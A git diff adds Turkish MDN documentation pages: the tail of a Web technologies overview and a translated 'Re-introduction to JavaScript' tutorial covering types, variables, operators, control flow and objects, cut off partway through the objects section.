çevrimiçi uygulamalar oluşturmak isteyen insanlar için inanılmaz olanaklar sunar. Web'in yeteneklerinden tam olarak faydalanabilmeniz için, onları nasıl kullanacağınızı bilmeniz gerekir. Çeşitli Web teknolojileri hakkında daha fazla şey öğrenmek için, aşağıdaki bağlantıları inceleyin.</p> + +<div class="row topicpage-table"> +<div class="section"> +<h2 class="Documentation" id="Web_Teknolojileri">Web Teknolojileri</h2> + +<h3 id="Temeller">Temeller</h3> + +<dl> + <dt><a href="/en-US/docs/Web/HTML">HTML</a></dt> + <dd><strong>BüyükYazı İmleme Dili - HyperText Markup Language (HTML)</strong> bir web sayfasının içeriğinin belirtme ve tanımı için kullanılır.</dd> + <dt><a href="/en-US/docs/Web/CSS">CSS</a></dt> + <dd><strong>Basamaklı Biçim Şablonları - Cascading Style Sheets (CSS)</strong> bir web sayfasının görünüşünü ve sunuluşunu tanımlamak için kullanılır.</dd> + <dt><a href="/en-US/docs/Web/HTTP">HTTP</a></dt> + <dd><dfn><strong>BüyükYazı Aktarım Kuralı - HyperText Transfer Protocol (HTTP),</strong> Web'deki HTML ve diğer büyük ortam belgelerinin dağıtımında kullanılır.</dfn></dd> +</dl> + +<h3 id="Betik_Yazma">Betik Yazma</h3> + +<dl> + <dt><a href="/tr/docs/Web/JavaScript">JavaScript</a></dt> + <dd><strong>JavaScript</strong>, tarayıcınızda çalışan betik dilidir. Websitenize ya da uygulamanıza etkileşim ve devingen özellikler eklemek için kullanabilirsiniz.</dd> + <dt><a href="/en-US/docs/Web/Reference/API">Web API'leri</a></dt> + <dd><strong>Web Uygulama Geliştirme Arayüzleri (Web API'leri)</strong> <a href="/en-US/docs/DOM">DOM</a>'u değiştirmek, ses ve izleti oynatmak ya da 3D çizge oluşturmak gibi çeşitli işleri yerine getirmek için kullanılır. + <ul> + <li><a href="/en-US/docs/Web/API" title="/en-US/docs/Web/API">Web API arayüz kaynağı</a> Web için geliştirme yaparken, kullanabileceğiniz tüm nesne türlerini dizelgeler.</li> + <li><a href="/en-US/docs/WebAPI">Web API sayfası</a> Web uygulamalarınızda kullanabileceğiniz iletişim, donanım erişimi ve diğer tüm API'leri dizelgeler.</li> + <li><a href="/en-US/docs/Web/Events">Olay dizelgesi </a> web sayfanızda ya da uygulamanızdaki ilginç şeyleri kaydetmek ve tepki vermek için kullanabileceğiniz tüm olayları dizelgeler.</li> + </ul> + </dd> +</dl> + +<h3 id="Çizgeler">Çizgeler</h3> + +<dl> + <dt><a href="/en-US/docs/SVG">SVG</a></dt> + <dd><strong>Ölçeklenebilir Vektör Çizgeleri - Scalable Vector Graphics (SVG)</strong> görselleri, bir dizi vektör ve biçim olarak ifade edebilmenizi sağlar. SVG'lerin bir üstünlüğü de, boyutları ne olursa olsun kusursuz biçimde ölçeklenebilmeleridir.</dd> + <dt><a href="/en-US/docs/Web/WebGL" title="/en-US/docs/Web/WebGL">WebGL</a></dt> + <dd><strong>WebGL,</strong> {{HTMLElement("canvas")}} ögesini kullanarak 3D ya da 2D çizgeler çizebilmenizi sağlayan bir JavaScript arabirimidir.</dd> +</dl> + +<h3 id="Diğer">Diğer</h3> + +<dl> + <dt><a href="/en-US/docs/Web/MathML">MathML</a></dt> + <dd><strong>Matematiksel İşaretleme Dili - Mathematical Markup Language (MathML)</strong>, karmaşık matematiksel eşitlikler ve sözdizimlerini görüntüleyebilmenizi sağlar.</dd> +</dl> +</div> + +<div class="section"> +<h2 class="Documentation" id="Öğrenme_Alanı">Öğrenme Alanı</h2> + +<dl> + <dt><a href="/en-US/docs/Learn">Web Geliştirmeyi Öğrenmek</a></dt> + <dd>Bu makaleler, yeni başlayanların yalın websiteleri yapabilmeleri için ihtiyaçları duydukları her şeyi onlara sağlar.</dd> + <dt><a href="https://developer.mozilla.org/en-US/Apps/Progressive">Süreğen Web Uygulamaları</a></dt> + <dd>Süreğen Web uygulamaları günümüz web arabirimi ve süreğenleştirme izlemi ile geliştirilmiş web uygulamalarıdır. Bu uygulamalar her yerde çalışabilir ve kullanıcıların yerli uygulama kullanıyormuşçasına hissetmelerini sağlayacak türlü özellikler barındırabilir. Bu belgelendirmeler Süreğen Web Uygulamaları geliştirebilmeniz için size kılavuzluk eder.</dd> +</dl> + +<h2 id="Diğer_Konular">Diğer Konular</h2> + +<dl> + <dt><a href="/en-US/docs/Web/Apps">Web Uygulamaları Geliştirmek</a></dt> + <dd>Bu makaleler, taşınabilir, masaüstü ve Firefox OS ortamları için uygulama geliştirme yöntemlerini açıklar.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/Performance">Web Performansı</a></dt> + <dd>Web performansı, kullanıcıların bant genişliği, ekran boyutu, ağ veya cihaz özelliklerinden bağımsız olarak web uygulamalarının hızlı indirildiğinden ve kullanıcı etkileşimine duyarlı olduğundan emin olma sanatıdır.</dd> + <dt><a href="/en-US/docs/Web/Accessibility">Erişilebilirlik</a></dt> + <dd>Erişilebilirlik; herhangi bir şekilde görsel, işitsel ve diğer yetenekleri kısıtlanmış olan insanların websitelerini kullanabilmesini sağlar. Bu makaleler Erişilebilir Web Geliştirme hakkındadır.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/Localization">Yöreselleştime ve Uluslararasılaştırma (U18a)</a></dt> + <dd>Web küresel bir topluluktur! Sitenizi veya uygulamanızı kullanmak isteyebilecek herkesin beklediği dilde ve düzende içerik sağlama gereğini (örn. sağdan sola diller için) göz önünde bulundurarak sitenizin bir parçası olduğundan emin olun.</dd> + <dt><a href="/en-US/docs/Web/Security">Güvenlik</a></dt> + <dd>Uygulamanızın, kötü adamlara veri sızdırmasına izin vermeyin. Bu makaleleri, web uygulamanızın güvenli olduğuna emin olmak için kullanın.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/WebAssembly">WebAssembly</a></dt> + <dd>WebAssembly günümüz web tarayıcılarında çalışan yeni bir tür koddur. Sıkıştırılmış, ikili(binary) biçimiyle, doğala yakın (near-native) bir başarım sunan, düşük düzeyli, Assembly benzeri bir dildir. C/C++ kodunun webde çalışabilmesi için derleme hedefi sunar.</dd> +</dl> +</div> +</div> + +<p><span class="alllinks"><a href="/en-US/docs/tag/Web">Hepsini Gör...</a></span></p> diff --git a/files/tr/web/javascript/a_re-introduction_to_javascript/index.html b/files/tr/web/javascript/a_re-introduction_to_javascript/index.html new file mode 100644 index 0000000000..d6fabce7c3 --- /dev/null +++ b/files/tr/web/javascript/a_re-introduction_to_javascript/index.html @@ -0,0 +1,931 @@ +--- +title: JavaScript ile Tekrar Tanışmak (JS Eğitimi) +slug: Web/JavaScript/A_re-introduction_to_JavaScript +tags: + - BetikKodlama + - Giriş + - JavaScript + - Orta düzey + - Rehber + - öğren +translation_of: Web/JavaScript/A_re-introduction_to_JavaScript +--- +<div>{{jsSidebar}}</div> + +<p>Neden yeniden tanışma? Çünkü {{Glossary("JavaScript")}}, <a href="http://javascript.crockford.com/javascript.html">dünyanın en yanlış anlaşılan programlama dili</a> olma gibi bir üne sahip. Genellikle bir oyuncak olarak atfedilmesine karşın, aldatıcı sadeliğinin altında güçlü dil özellikleri barındırır. Bunlardan biri, inanılmaz sayıda yüksek profilli uygulama tarafından kullanılıyor olmasıdır. Bu da bize Javascript teknolojisine ait derin bir bilginin her web veya mobil geliştirici için önemli bir beceri olduğunu gösterir.</p> + +<p>Dilin geçmişini anlatarak başlamak faydalı olacaktır. Javascript 1995 yılında Netscape'de bir mühendis olan Brendan Eich tarafından oluşturulmuştur ve Netscape 2 ile eş zamanlı olarak 1996 yılının başlarında kullanıma açılmıştır. Başta Livescript ismi ile çıkacakken -aralarında hemen hemen hiç benzerlik olmamasına rağmen- Sun Microsystem şirketine ait Java dilinin popülerliğini arttırmak adına talihsiz bir pazarlama seçimi ile Javascript ismi ile devam edilmiştir. Bu olay o zamandan beri karışıklıklığa neden olmaktadır.</p> + +<p>Birkaç ay sonra Microsoft dilin çoğu platforma uyumlu bir versiyonu olan Jscript'i IE 3 ile çıkardı. Netscape, dili Avrupa standartlarında bir organizasyon olan Ecma International'a sundu ve bu da 1997'de {{Glossary("ECMAScript")}} standardının ilk versiyonu ile sonuçlandı. Standart 1999'da ECMAScript edition 3 olarak önemli bir güncellemeyi aldı ve o zamandan beri oldukça istikrarlı kaldı. Ancak dördüncü baskı, dil karmaşıklığı ile ilgili politik farklılıklar nedeniyle terk edildi. Dördüncü baskının pek çok bölümü, 2009 yılı Aralık ayında yayınlanan ECMAScript 5. versiyonunun ve 2015 yılında yayınlanacak olan standartın 6. büyük versiyonunun temelini oluşturdu.</p> + +<div class="note"> +<p>Daha aşina olduğumuz için bu yazı boyunca ECMAScript yerine Javascript ismi ile devam edeceğiz.</p> +</div> + +<p>Çoğu programlama dilinin aksine, JavaScript dilinin hiçbir girdi veya çıktı kavramı yoktur. Bir ana bilgisayar ortamında bir betik dili olarak çalışacak şekilde tasarlanmıştır ve dış dünyayla iletişim kurmak için mekanizmalar sağlamak ana bilgisayar ortamına bağlıdır. En yaygın ana bilgisayar ortamı tarayıcıdır, ancak JavaScript yorumlayıcıları Adobe Acrobat, Photoshop, SVG görüntüleri, Yahoo!'nun Widget altyapısında ve node.js. gibi sunucu ortamlarında da bulunabilir. JavaScript'in kullanıldığı alanların listesi burada bitmez. Ayrıca, açık kaynaklı Apache CouchDB, gömülü bilgisayarlar veya GNOME (GNU / Linux işletim sistemleri için en popüler GUI'ler) gibi tam masaüstü ortamları gibi NoSQL veritabanlarını da içerir.</p> + +<h2 id="Genel_Bakış">Genel Bakış</h2> + +<p>JavaScript türlere, operatörlere ve standart hazır nesnelere sahip nesneye yönelik, dinamik bir dildir. Sözdizim kuralları Java ve C dillerinden gelmektedir ve bu dillerden birçok yapıyı başarılı şekilde barındırır. Bu diller ile arasındaki önemli bir fark, JavaScript'in sınıflara (class) sahip olmamasıdır. JavaScript, sınıfların yaptığı işleri nesne prototiplerini (object prototype) kullanarak yapar. Bir diğer temel fark ise fonksiyonların birer nesne olmasıdır. Bu şekilde fonksiyonların da yürütülebilir kodu saklama ve diğer her nesne gibi aktarılma kapasitesi vardır.</p> + +<p>Her dilin yapıtaşı sayılabilecek olan unsuru öğrenerek başlayalım: türler (types). JavaScript programları değerleri (value) manipüle eder ve bu değerlerin hepsi bir türe aittir. JavaScript'in türleri şunlardır:</p> + +<ul> + <li>{{jsxref("Sayı")}}</li> + <li>{{jsxref("String")}}</li> + <li>{{jsxref("Boolean")}}</li> + <li>{{jsxref("Fonksiyon")}}</li> + <li>{{jsxref("Nesne")}}</li> + <li>{{jsxref("Sembol")}} (ES2015'de yeni)</li> +</ul> + +<p>... oh, ayrıca {{jsxref("undefined")}} ve {{jsxref("null")}}, ki ... biraz garipler. Ayrıca özel bir nesne kabul edebileceğimiz {{jsxref("Array")}}. Bir de bedava elde edebileceğiniz nesneler olan {{jsxref("Date")}} ve {{jsxref("RegExp")}}. Teknik olarak fonksiyonlar da özel bir tür nesnedir. Bu nedenle asıl diyagramımız böyle görünmeli:</p> + +<ul> + <li>{{jsxref("Sayı")}}</li> + <li>{{jsxref("String")}}</li> + <li>{{jsxref("Boolean")}}</li> + <li>{{jsxref("Sembol")}} (Edition 6)</li> + <li>{{jsxref("Nesne")}} + <ul> + <li>{{jsxref("Fonksiyon")}}</li> + <li>{{jsxref("Dizi")}}</li> + <li>{{jsxref("Date")}}</li> + <li>{{jsxref("RegExp")}}</li> + </ul> + </li> + <li>{{jsxref("null")}}</li> + <li>{{jsxref("undefined")}}</li> +</ul> + +<p>Ayrıca bazı gömme {{jsxref("Error")}} türlerinden de söz edebiliriz. Ancak ilk diyagramla hareket etmemiz bizim işimizi kolaylaştıracaktır.</p> + +<h2 id="Sayılar">Sayılar </h2> + +<p>JavaScript'teki sayılar, spesifikasyonlara göre "çift duyarlıklı 64 bit format IEEE 754 değerleri" dir. Ancak bunun bazı ilginç sonuçları var. Örneğin JavaScript'te tamsayı gibi bir şey yoktur, bu yüzden eğer C veya Java'da kullanılan matematiğe alışkınsanız, aritmetiğinize biraz dikkat etmelisiniz.</p> + +<p>Ayrıca aşağıdaki gibi olaylara dikkat edin:</p> + +<pre class="brush: js">0.1 + 0.2 == 0.30000000000000004 +</pre> + +<p>Pratikte tamsayı değerleri 32-bit int olarak sayılır (ve bazı tarayıcı uygulamalarında bu şekilde saklanır). Bu, bit-temelli eylemler gerçekleştirmek istediğinizde önemli bir ayrıntıdır.</p> + +<p>Ekleme, çıkarma, modül (veya kalan) aritmetik ve benzeri dahil olmak üzere standart <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators#Arithmetic_operators">aritmetik operatörler</a> desteklenir. Daha ileri matematiksel fonksiyonlar gerçekleştirmek istiyorsanız kullanmanız gereken gömme nesne {{jsxref("Math")}}'dir:</p> + +<pre class="brush: js">Math.sin(3.5); +var d = Math.PI * r * r; +</pre> + +<p>{{jsxref("Global_Objects/parseInt", "parseInt()")}} gömme fonksiyonunu kullanarak bir string'i tamsayıya çevirebilirsiniz. Bu fonksiyon isteğe bağlı ikinci bir argüman olarak sayı tabanını alır:</p> + +<pre class="brush: js">parseInt('123', 10); // 123 +parseInt('010', 10); // 10 +</pre> + +<p>Eski tarayıcılarda "0" değeri ile başlayan stringler sekizli taban kabul ediliyordu. Eğer taban değerini yazmazsanız 2013 öncesi tarayıcılarda şaşırtıcı sonuçlar alabilirsiniz:</p> + +<pre class="brush: js">parseInt("010"); // 8 +parseInt("0x10"); // 16 +</pre> + +<p>Yukarıda gördüğünüz hata, {{jsxref("Global_Objects/parseInt", "parseInt()")}} fonksiyonu, yazılan string'i baştakı 0 nedeniyle sekizli taban cinsinden işlem yapması yüzünden gerçekleşti.</p> + +<p>Bir sayıyı binary'den tamsayıya dönüştürmek isterseniz tek yapmanız gereken tabanı değiştirmektir:</p> + +<pre class="brush: js">parseInt("11", 2); // 3 +</pre> + +<p>Benzer şekilde float türü sayıları ayrıştırmak için {{jsxref("Global_Objects/parseFloat", "parseFloat()")}} gömülü fonksiyonunu kullanabilirsiniz. Bu fonksiyon, kuzeni sayabileceğimiz {{jsxref("Global_Objects/parseInt", "parseInt()")}} fonksiyonunun aksine 10 tabanlı sistemi kullanır.</p> + +<p>Ayrıca <code>+</code> operatörünü kullanarak değerleri sayıya çevirebilirsiniz:</p> + +<pre class="brush: js">+ '42'; //42 ++ '010'; //10 ++ '0x10'; //16 +</pre> + +<p>String sayısal bir değer değil ise karşınıza {{jsxref("NaN")}} (Açılımı: "Not a Number"' = sayı değil) çıkar:</p> + +<pre class="brush: js">parseInt("hello", 10); // NaN +</pre> + +<p><code>NaN</code> toksik gibidir: eğer onu bir girdi olarak herhangi bir matematiksel operasyonda kullanırsanız sonuç yine <code>NaN</code> olacaktır:</p> + +<pre class="brush: js">NaN + 5; // NaN +</pre> + +<p><code>NaN</code> {{jsxref("Global_Objects/isNaN", "isNaN()")}} gömme fonksiyonu ile test edilebilir:</p> + +<pre class="brush: js">isNaN(NaN); // true +</pre> + +<p>JavaScript ayrıca {{jsxref("Infinity")}} (sonsuz) ve<code>-Infinity</code> (- sonsuz) gibi özel değerlere sahiptir:</p> + +<pre><code>1 / 0; // Infinity +-1 / 0; // -Infinity</code> +</pre> + +<p> <code>Infinity</code>, <code>-Infinity</code> ve <code>NaN</code> değerlerini gömme fonksiyon {{jsxref("Global_Objects/isFinite", "isFinite()")}} ile test edebilirsiniz: </p> + +<pre class="brush: js">isFinite(1/0); // false +isFinite(-Infinite); //false +isFinite(NaN); // false +</pre> + +<div class="note"><strong>Not:</strong> {{jsxref("Global_Objects/parseInt", "parseInt()")}} ve {{jsxref("Global_Objects/parseFloat", "parseFloat()")}} fonksiyonları, belirtilen sayı biçimi için geçerli olmayan bir karaktere ulaşıncaya kadar bir dizeyi ayrıştırır, ardından bu noktaya kadar ayrıştırılan sayıyı döndürür. Ancak "+" operatörü, içinde geçersiz bir karakter varsa dizeyi <code>NaN</code> 'a dönüştürür. Bahsettiğimiz yöntemleri kullanarak"10.2abc" dizesini konsolda kendiniz ayrıştırmayı denerseniz farklarını daha iyi anlayabilirsiniz.</div> + +<h2 id="Stringler">Stringler</h2> + +<p>JavaScript'teki stringler, karakter dizileridir. Daha doğrusu her karakter 16 bitlik bir sayı ile temsil edilen Unicode karakter dizisidir. Bu, uluslararasılaşma ile uğraşmak zorunda kalmış herkese iyi bir haber diyebiliriz.</p> + +<p>Tek bir karakteri temsil etmek istiyorsanız, sadece 1 uzunluğunda bir string kullanmanız yeterlidir.</p> + +<p>Bir string'in uzunluğunu bulmak istiyorsanız <code><a href="/en/JavaScript/Reference/Global_Objects/String/length" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/length">length</a></code> özelliğini kullanabilirsiniz:</p> + +<pre class="brush: js">"merhaba".length; // 7 +</pre> + +<p>Böylelikle Javascript nesnelerine ilk adımımızı atmış olduk! Stringlerin de nesne olduğundan bahsetmiş miydik? Onların da stringleri manipüle etmek ve stringlerden bilgi almak için kullanılabilecek metodları vardır:</p> + +<pre class="brush: js">> 'merhaba'.charAt(0); // "m" +> 'merhaba, dünya'.replace('merhaba', 'elveda'); // "elveda, dünya" +> 'merhaba'.toUpperCase(); // MERHABA +</pre> + +<h2 id="Diğer_Türler">Diğer Türler</h2> + +<p>JavaScript, bir değer sayılmayan (ve sadece <code>null</code> anahtar kelimesi ile erişilebilen) {{jsxref ("null")}} ve atanmamış değer olduğunu belirten {{jsxref ("undefined")}} arasındaki farkı ayırt edebilir. Daha sonra değişkenlerden bahsedeceğiz, ancak şimdiden belirtmeliyiz ki JavaScript'te değer atamadan da değişken tanımlamak mümkündür. Bunu yaparsanız, değişkenin türü <code>undefined</code> olur, bu da bize <code>undefined</code> türünün aslında bir sabit olduğunu gösterir.</p> + +<p>Javascript, <code>true</code> (doğru) ve <code>false</code> (yanlış) değerlerini alabilen bir boolean türüne sahiptir. Aşağıdaki kurallar dahilinde her değer boolean'e çevrilebilir:</p> + +<ol> + <li> <code>false</code>, <code>0</code>, boş stringler (<code>""</code>), <code>NaN</code>, ve <code>undefined </code>değerlerinin tamamı <code>false</code>,</li> + <li>Kalan tüm değerler <code>true</code> olur.</li> +</ol> + +<p>Bu dönüşümü, <code>Boolean()</code> fonksiyonunu kullanarak kolayca gerçekleştirebilirsiniz:</p> + +<pre class="brush: js"><code>Boolean(''); // false +Boolean(234); // true</code></pre> + +<p>Ancak bu dönüşüm çoğu zaman gereksizdir çünkü Javascript bir boolean -bir if else ifadesi gibi (aşağıda görebilirsiniz)- beklediğinde bu dönüşümü sessizce gerçekleştirir. Bu nedenle "doğru değerler" ve "yanlış değerler"den bahsederken aslında <code>true</code> ve <code>false</code> haline gelen değerlerden bahsediyoruz. Bu sizin true ve false değerleri yerine "truthy" ve "falsy" gibi sözcükler de kullanabileceğiniz anlamına gelir.</p> + +<p><code>&&</code> (ve), <code>||</code> (veya), ve <code>!</code> (değil) gibi mantıksal boolean işlemleri desteklenmektedir; aşağıda daha fazla bilgi bulabilirsiniz.</p> + +<h2 id="Değişkenler">Değişkenler</h2> + +<p>Javascript'de yeni değişkenler <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code>, veya <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var" title="/en/JavaScript/Reference/Statements/var">var</a></code> anahtar kelimeleri ile tanımlanır.</p> + +<p><code>let</code>, blok-düzeyinde değişkenleri tanımlamaya yarar. Tanımlanan değişken sadece kapsadığı blok dahilinde geçerlidir.</p> + +<pre class="brush: js">let a; +let isim = "eren"; +</pre> + +<p>Aşağıda <code><strong>let</strong></code> ile tanımlanmış bir değişken örneği görebilirsiniz:</p> + +<pre class="brush: js">// letDegiskenim burada kullanılabilir *değil* + +for (let letDegiskenim = 0; letDegiskenim < 5; letDegiskenim++) { + // letDegiskenim sadece burada kullanılabilir +} + +// letDegiskenim burada kullanılabilir *değil* +</pre> + +<p><code><strong>const</strong></code> ile ileride değiştirme amacınız olmayan değişkenler tanımlayabilirsiniz. Değişken sadece içinde tanımlandığı <em>blokta </em>kullanılabilir.</p> + +<pre class="brush: js">const Pi = 3.14; +Pi = 1; // const değişkenlerine yeni değerler atanamayacağı için hata verecektir.</pre> + +<p><code><strong>var</strong></code><strong> </strong>en çok kullanılan tanımlayıcı anahtar sözcüktür. <code>let</code> ve <code>const</code>'daki kısıtlamalar bu anahtar sözcükte geçerli değildir. Bunun nedeni Javascript'de geçmişten beri bir değişken tanımlamak için <strong><code>var</code> </strong>kullanılmasıdır. Bu anahtar sözcükle tanımlanan değişkenler, tanımlandığı <em>fonksiyon</em> içerisinde kullanılabilir.</p> + +<pre class="brush: js">var a; +var isim = 'eren';</pre> + +<p>Aşağıda <strong><code>var</code></strong> ile tanımlanmış bir değişken örneği görebilirsiniz:</p> + +<pre class="brush: js">// varDegiskenim burada kullanılabilir + +for (let varDegiskenim = 0; varDegiskenim < 5; varDegiskenim++) { + // varDegiskenim tüm fonksiyon için kullanılabilir +} + +// varDegiskenim burada kullanılabilir</pre> + +<p>Eğer bir değişkeni değer atamadan tanımlarsanız, türü <code>undefined</code> olur.</p> + +<p>Javascript ve Java gibi diller arasındaki önemli bir fark, Javascript'de blokların değil sadece fonksiyonların kapsama alanınından bahsedebilmemizdir. Yani bileşik bir ifade (örneğin bir <code>if</code> kontrol yapısı gibi) içerisinde <code>var</code> ile tanımlanan değişken, tüm fonksiyon içerisinde kullanılabilir. Ancak, ESMAScript 2015'den beri, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code> ve <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code> tanımlayıcıları size blok-düzeyinde değişkenler oluşturmanıza yarar.</p> + +<h2 id="Operatörler">Operatörler</h2> + +<p>Javascript'de <code>+</code>, <code>-</code>, <code>*</code>, <code>/</code> ve <code>%</code> gibi sayısal operatörler bulunur. (%: "kalan" operatörüdür ve modülüs ile aynı değildir.). Değerler <code>=</code> ile atanır, ayrıca <code>+=</code> ve <code>-=</code> gibi bileşke atama ifadeleri de kullanılabilir.</p> + +<pre class="brush: js">x += 5; +x = x + 5; +</pre> + +<p> <code>++</code> and <code>--</code> operatörlerini sırasıyla arttırmak ve azaltmak için kullanabilirsiniz. Bu operatörler, değerden önce veya sonra yazılabilir (++deger ve deger++ gibi).</p> + +<p><a href="/en/JavaScript/Reference/Operators/String_Operators" title="en/Core_JavaScript_1.5_Reference/Operators/String_Operators"><code>+</code> operator</a>ü stringleri birbirine bağlamak için de kullanılabilir:</p> + +<pre class="brush: js">> "merhaba" + " dünya" +merhaba dünya +</pre> + +<p>Eğer bir sayıya (veya herhangi bir değere) string eklerseniz, her şey stringe dönüştürülür. Aşağıdaki örneğe bir göz atın:</p> + +<pre class="brush: js">> '3' + 4 + 5 // "345" +> 3 + 4 + '5' // "75" +</pre> + +<p>Bir değere boş string ekleyerek onu stringe dönüştürmek pratik bir yoldur.</p> + +<p>Javascript'de <a href="/en/JavaScript/Reference/Operators/Comparison_Operators">karşılaştırmalar</a> <code><</code>, <code>></code>, <code><=</code> ve <code>>=</code> ile yapılır. Bu operatörleri hem string hem de sayı değerleri için kullanabilirsiniz. Eşitlik ise bundan biraz daha karmaşık bir konudur. Çift-eşitlik operatörü, aşağıda görebileceğiniz gibi farklı türleri karşılaştırdığınızda düşündüğünüzden farklı sonuçlar verebilir:</p> + +<pre class="brush: js">123 == '123' // true +1 == true; // true +</pre> + +<p>Farklı türlerle çalışırken bu tarz karışıklıklarlardan kaçınmak için üçlü-eşitlik operatörünü kullanın:</p> + +<pre class="brush: js">123 === '123'; // false +1 === true; // false +</pre> + +<p>Javascript'de ayrıca <code>!=</code> ve <code>!==</code> operatörleri de vardır.</p> + +<p>Eğer bit-dizeyinde işlemlerle ilgileniyorsanız <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">buraya </a>tıklayarak referans belgelerinden daha ayrıntılı bilgi alabilirsiniz.</p> + +<h2 id="Kontrol_yapıları">Kontrol yapıları</h2> + +<p>Javascript, C ailesine benzer nitelikte kontrol yapılarına sahiptir. Koşullu ifadeler <code>if</code> ve <code>else</code> ile desteklenir; isterseniz onları aşağıda göreceğiniz gibi birlikte kullanabilirsiniz:</p> + +<pre class="brush: js">var isim = 'kediler'; +if (isim == 'köpekler') { + isim += 'havlar'; +} else if (isim == 'kediler') { + isim += 'miyavlar'; +} else { + isim += '!'; +} +isim == 'kediler miyavlar';</pre> + +<p>JavaScript'de iki tür döngü (loop) vardır: <code>while</code> ve <code>do-while</code> . İlki basit döngüler için idealken; ikincisi, döngünün gövdesinin en az bir kez yürütüldüğünden emin olmak istediğiniz döngüler içindir:</p> + +<pre class="brush: js">while (true) { + // sonsuz döngü! +} + +var input; +do { + input = get_input(); +} while (inputIsNotValid(input)) +</pre> + +<p>JavaScript'de <code>for</code> döngüsü aynı C ve Java'daki gibidir, döngünün kontrol bilgisini tek bir satıra yazmanıza olanak sağlar.</p> + +<pre class="brush: js">for (var i = 0; i < 5; i++) { + // 5 kez yürütülecektir +} +</pre> + +<p>JavaScript'de ayrıca döngüler için iki önemli ifade vardır: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of"><code>for</code>...<code>of</code></a></p> + +<pre class="brush: js"><code>for (let value of array) { + // value değeri ile ilgili bir şey yap +}</code></pre> + +<p>ve <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in"><code>for</code>...<code>in</code></a>:</p> + +<pre class="brush: js"><code>for (let property in object) { + // object'e ait property değeri ile ilgili bir şey yap +}</code> +</pre> + +<p><code>&&</code> ve <code>||</code> kısa devre mantığı ile çalışır, ikinci işlenecek olan işlenen (operand), ilkine bağlıdır. Bu şekilde <code>null</code> nesnelerinin niteliklerine erişmeden önce kontrol etmek için kullanılabilir:</p> + +<pre class="brush: js">var name = o && o.getName(); +</pre> + +<p>Veya değerleri önbelleğe almak için (falsy değerleri geçersiz olduğunda):</p> + +<pre class="brush: js"><code>var name = cachedName || (cachedName = getName());</code></pre> + +<p>JavaScript koşullu ifadeler için üçlü bir operatöre sahiptir:</p> + +<pre class="brush: js"><code>var giriş_izni = (yaş > 18) ? 'evet' : 'hayır';</code></pre> + +<p><code>switch</code> ifadesi bir sayıya veya string'e bağlı olarak birden fazla kolda kullanılabilir:</p> + +<pre class="brush: js"><code>switch (eylem) { + case 'çiz': + Çizim(); + break; + case 'ye': + Yemek(); + break; + default: + birSeyYapma(); +}</code></pre> + +<p><code>break</code> ifadesini eklemezseniz yürütme esnasında kod bir sonraki seviyeye "atlayacaktır". Bu çoğu zaman isteyeceğiniz bir durum değildir — ancak eğer amacınız fallthrough ( açıkça yeniden yönlendirilmedikçe, yürütme işleminin bir listede sonraki duruma geçtiği durum) yapmak ise yorum eklemeniz debug sürecini kolaylaştıracaktır:</p> + +<pre class="brush: js"><code>switch (a) { + case 1: // fallthrough + case 2: + Yemek(); + break; + default: + birSeyYapma(); +}</code></pre> + +<p><code>default</code> maddesi tamamen isteğe bağlıdır. İsterseniz hem <code>switch</code> kısmında hem de <code>case</code> kısmında ifade kullanabilirsiniz. </p> + +<pre class="brush: js"><code>switch (1 + 3) { + case 2 + 2: + yaşasın(); + break; + default: + aslaGerceklesmez(); +}</code> +</pre> + +<h2 id="Nesneler">Nesneler</h2> + +<p>Javascript nesneleri (objects), basit isim-değer çiftleri olarak düşünülebilir. Bu açıdan diğer dillerdeki karşılıkları aşağıdaki gibidir:</p> + +<ul> + <li>Python'da kütüphane</li> + <li>Perl ve Ruby'de Hash</li> + <li>C and C++'da Hash tabloları</li> + <li>Java'da HashMap</li> + <li>PHP'de İlişkili Diziler</li> +</ul> + +<p>Bu veri yapısının çok yaygın kullanıldığı gerçeği, çok yönlülüğünün bir kanıtıdır. JavaScript'teki her şey bir nesneden oluştuğu için, her JavaScript programı doğal olarak çok sayıda komut çizelgesi (hash table) aramaları içerir.</p> + +<p>"İsim" kısmı bir Javascript string'i iken, değer olarak herhangi bir Javascript değeri yazabilirsiniz — diğer nesneler de dahil. Bu şekilde istediğiniz kadar komplike veri yapıları oluşturabilirsiniz.</p> + +<p>Boş nesne oluşturmanın iki temel yolu vardır:</p> + +<pre class="brush: js"><code>var nesne = new Object();</code></pre> + +<p>Ve:</p> + +<pre class="brush: js"><code>var nesne = {};</code></pre> + +<p>Bunlar semantik olarak eşdeğerdir; ikinci nesne örneğine değişmez sözdizimi (literal syntax) denir ve daha kullanışlıdır. Bu sözdizimi aynı zamanda JSON formatının özüdür ve her zaman tercih edilmelidir.</p> + +<p>Değişmez sözdizimi ile bir nesneyi tamamen tanımlayabilirsiniz:</p> + +<pre class="brush: js"><code>var nesne = { + isim: 'Havuç', + kime: 'Max', + detaylar: { + renk: 'turuncu', + boyut: 12 + } +};</code></pre> + +<p>Özelliklere erişmek için aşağıda gördüğünüz iki yolu da kullanabilirsiniz:</p> + +<pre class="brush: js"><code>nesne.detaylar.renk; // turuncu +nesne['detaylar']['boyut']; // 12</code></pre> + +<p>Aşağıdaki örnekte bir nesne prototipi (<code>Kişi</code>) ve bu prototipin bir örneğini (<code>sen</code>) oluşturacağız:</p> + +<pre class="brush: js"><code>function Kişi(isim, yaş) { + this.isim= isim; + this.yaş = yaş; +} + +// Bir nesne tanımlayalım +var sen = new Kişi('Sen', 24); +// Adı "Sen" olan 24 yaşında bir kişi yaratmış olduk.</code></pre> + +<p><strong>Bir kere oluşturulduktan sonra</strong>, nesnenin değerlerine erişebilmenin iki yolu vardır: </p> + 